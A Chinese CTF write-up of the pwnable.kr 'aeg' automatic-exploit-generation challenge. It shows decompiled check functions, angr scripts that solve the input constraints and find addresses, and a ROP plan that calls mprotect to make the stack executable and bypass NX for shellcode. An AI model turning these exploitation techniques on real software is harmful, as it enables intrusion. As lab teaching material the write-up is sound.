Skip to content

Pwnable kr aeg

复制本地路径 | 在线编辑

前言

AEG(Automatic Exploit Generation),主要是自动化类的题目。什么是自动化类的题目?
拿本题来说,题目要求我们连接一个服务器,连接后发现他会返回一堆数据,这些数据合在一起就是一个执行程序,然后服务器要求我们在十秒内破解它。
每次的程序都不一样,但是大致样子又都是一样的,所以要找到这类程序的共性,这就是自动化类题目。
本篇文章主要分为三个部分: 首先是对某次得到的程序进行分析,然后对于该程序进行破解,最后是将方法扩展到随机程序。

程序分析

程序要求有两个参数,第一个是 payload 的长度,第二个是 payload 的十六进制格式。
删了很多的 main 函数如下所示,大致流程看注释即可。

int main(int argc, char **argv)
{
  if ( argc == 2 )
  {
    // 一个莫名其妙的函数,就是结果 return 0
    v4 = sub_12319A5(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
    srand(v4);
    // payload length
    dword_14341D0 = strlen(argv[1]) >> 1; 
    if ( dword_14341D0 <= 1000 )
    {
      v15 = 0;
      // 对于输入的 payload,进行转换,如输入 ab,最终得到 0xab
      while ( 2 * dword_14341D0 > v15 )
      {
        v7 = argv[1][v15];
        v8 = argv[1][v15 + 1];
        __isoc99_sscanf(&v7, "%02x", &byte_14341E0[v5]);
        v15 += 2;
      }
      // 对 payload 进行异或加密
      for ( i = 0; i < dword_14341D0; ++i )
      {
        if ( i & 1 )
          byte_14341E0[i] ^= 0x13u;
        else
          byte_14341E0[i] ^= 0xFEu;
      }
      puts("payload encoded. let's go!");
      // 开始执行危险函数
      sub_123190(byte_14341E0, byte_14341E1, byte_14341E2);
      puts("end of program");
    }
  }
}

现在来看一下它的危险函数是什么样子。
char sub_1231900(char a1, char a2, char a3)
{
  char result; // al

  result = a3;
  if ( a1 == -29 )
  {
    result = -6 - a2;
    if ( a2 == -60 )
    {
      result = 50 * a1 + 19 * a2 - a3;
      if ( result == 68 )
        result = sub_1231888(byte_14341E3, byte_14341E4, byte_14341E5);
    }
  }
  return result;
}
char sub_1231888(char a1, char a2, char a3)
{
  char result; // al

  result = a3;
  if ( a1 == 55 )
  {
    result = -49 - a2;
    if ( a2 == -57 )
    {
      result = 22 * a1 + a2 - a3;
      if ( result == 3 )
        result = sub_1231803(byte_14341E6, byte_14341E7, byte_14341E8);
    }
  }
  return result;
}
...
char __fastcall sub_12311D0(char a1, char a2, char a3)
{
  char result; // al

  result = a3;
  if ( a1 == 19 )
  {
    result = 107 - a2;
    if ( a2 == 62 )
    {
      result = 16 * a1 + 77 * a2 - a3;
      if ( result == 52 )
        result = (unsigned __int64)sub_12311A8();
    }
  }
  return result;
}
void *sub_12311A8()
{
  char dest; // [rsp+0h] [rbp-20h]

  return memcpy(&dest, &unk_1434210, dword_14341D0 - 48);
}

可以看到,用套娃这个词来描述它非常合适,它就是对 payload 进行三个字节三个字节检查,一共执行 16 次,如果全部通过,那么就会触发一个 stack overflow.
所以很明显首先就要通过这样的检查,其实人工计算也是可以的,但是对于这种对输入进行一系列变换最后进行比对的模式,使用 angr 这个工具是再合适不过了。
代码如下,我们假设这个套娃函数开始是 cyclic_00,最终的函数就是 cyclic_16.
那么 start_addr 就是指 main 函数中执行 cyclic_00 的语句,sucess_addr 就是 cyclic_16 的地址。
def compute_password(project, start_addr, data_addr, sucess_addr):
    initial_state = project.factory.blank_state(addr=start_addr)

    data_size = 8 * (0x30)
    data = claripy.BVS('data', data_size)

    initial_state.memory.store(data_addr, data)

    fail_addr = start_addr + 0x2C
    simulation = project.factory.simgr(initial_state)
    simulation.explore(find=sucess_addr, avoid=fail_addr)

    if simulation.found:
        solution_state = simulation.found[0]

        solution = solution_state.solver.eval(data, cast_to=bytes)
        return solution
    else:
        raise Exception('Could not find the solution')

推荐去看一下 angr-ctf-py3 这个项目的前几个题目,对学习 angr 挺有帮助。

溢出构造

下面就是溢出该怎么溢出了,程序开了 NX,其他啥都没开,很明显要使用 ROP.
TODO: 这里我突然感觉似乎可以去泄露 libc 去做,流程是如下。首先就是遍历各个版本的 write,输出内存,然后就可以使用 DynELF 去做了,似乎好像可以这样搞哎。

但是并不能知道 libc 的版本,因此 one_gadget 等等都是无法得到的地址,这就很麻烦,这也是这题难点之一。

突破点在于使用 mprotect 函数,利用它我们就可以把某片内存的保护模式给改掉,所以尝试改掉栈空间,让它有 x 权限,这样我们在溢出的栈空间中写上 shellcode,就可以顺利逃脱 NX 的防护机制。

另一个关键点是哪里有 ROP,使用 ROPgadget 发现如果是 pop|ret, mov|ret 均这种形式无法修改 rdx 寄存器,这个寄存器是 64 位下第二个参数,是我们使用 mprotect 绕不开的。
后来也是看网上的题解,才发现之前的 main 函数有一个这条语句 v4 = sub_12319A5(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);,观察它的汇编代码,可以发现,我们可以利用它进行 ROP!

; sub_12319A5     
.text:00000000012319A5 000                 push    rbp
.text:00000000012319A6 008                 mov     rbp, rsp
.text:00000000012319A9 008                 sub     rsp, 50h
.......
.text:00000000012319CD 058                 mov     rcx, [rbp+var_48]
.text:00000000012319D1 058                 mov     rdx, [rbp+var_30] ====> gadget
.text:00000000012319D5 058                 mov     rsi, [rbp+var_38]
.text:00000000012319D9 058                 mov     rax, [rbp+var_28]
.text:00000000012319DD 058                 mov     r9, r8
.text:00000000012319E0 058                 mov     r8, rdi
.text:00000000012319E3 058                 mov     rdi, rax
.text:00000000012319E6 058                 call    sub_1231982 ====> an empty function
.text:00000000012319EB 058                 mov     [rbp+var_4], eax
.text:00000000012319EE 058                 mov     eax, [rbp+var_4]
.text:00000000012319F1 058                 leave
.text:00000000012319F2 000                 retn

TODO: 为什么这个程序没有 lib_csu_init

构造虚假的栈空间,然后通过上面的 ROP,最后就会将栈中间的数据赋值到相应寄存器~
怎么构造虚假的栈空间,也好办,只要将 rbp 改成我们可以控制的数据段就可以了。就像最后的返回地址改成我们写的 shellcode 那里一样,我们把 rbp 改成我们写的 虚假栈空间 那里。

扩展到随机程序

通过上面的步骤,终于将本次的程序搞定了。可是...下次程序就不一样了呀...

不过大致形式比较类似,所以从找共同点。

  1. 找到套娃函数的开始位置,即哪里执行了 call cylic_0,发现这个始终是 main 倒数第二个 call.

    cfg = project.analyses.CFGFast()
    main_func = cfg.kb.functions.function(name='main')
    main_call = sorted(main_func.get_call_sites())
    start_addr = main_call[-2]
    

  2. 找到套娃函数的最终成功位置,发现总是一共会执行 16 次,即执行到 cylic_16 会成功

    success_addr = main_func.get_call_target( start_addr )
    for i in range(16):
        success_func = cfg.kb.functions.function( success_addr )
        success_call = sorted( success_func.get_call_sites() )
        success_addr = success_func.get_call_target( success_call[0] )
    

  3. 寻找 gadget

    gadget_addr = main_func.get_call_target( main_call[1] ) + 0x2C
    

  4. 寻找 mprotect 地址,通过 mprotect@plt 即可

    obj = project.loader.main_object
    mprotect_addr = obj.plt['mprotect']
    

  5. 寻找存储 payload 地址,假设是 data,发现总会有 lea rdx, data[rax] 语句,所以前三字节是固定的

    with open(path_to_binary, 'rb') as f:
        s = f.read()
    # lea rdx, xxx[rax]
    lea_addr = s.find(b'H\x8d\x90') 
    data_addr = u32( s[lea_addr+3 : lea_addr+7] )
    

  6. 寻找 xor 值,不同程序是不同的。

    if ( i & 1 )
      byte_14341E0[i] ^= 0x13u;
    else
      byte_14341E0[i] ^= 0xFEu;
    

    xor_data = [0, 0]
    xor_addr = s.find(b'\x83\xf0')
    xor_data[0] = s[ xor_addr+2 ]
    xor_addr = s.find(b'\x83\xf0', xor_addr+2)
    xor_data[1] = s[ xor_addr+2 ]
    

  7. 查找套娃函数的栈分配是多少,即需要填充多少字节,然后才可以溢出,这个填充数也是不一样的
    进入套娃函数分析,刚开始就是调整栈空间,所以就读入语句即可。

    .text:00000000012311A8 000                 push    rbp
    .text:00000000012311A9 008                 mov     rbp, rsp
    .text:00000000012311AC 008                 sub     rsp, 20h  =======> change rsp
    .text:00000000012311B0 028                 mov     eax, cs:dword_14341D0
    ...
    .text:00000000012311C8 028                 call    _memcpy
    .text:00000000012311CD 028                 nop
    .text:00000000012311CE 028                 leave
    .text:00000000012311CF 000                 retn
    

    block = project.factory.block( success_addr + 0x4 )
    padding_len = (block.bytes[3])
    

最终搞定~

总结

  1. angr 的初步学习,以后利用 angr 分析程序可以看一下这个代码
  2. 一个很巧妙的 ROP: mov ..... call ... ret,这种形式不会被 ROPgadget 检测到
  3. 要想到使用 mprotect 来修改内存权限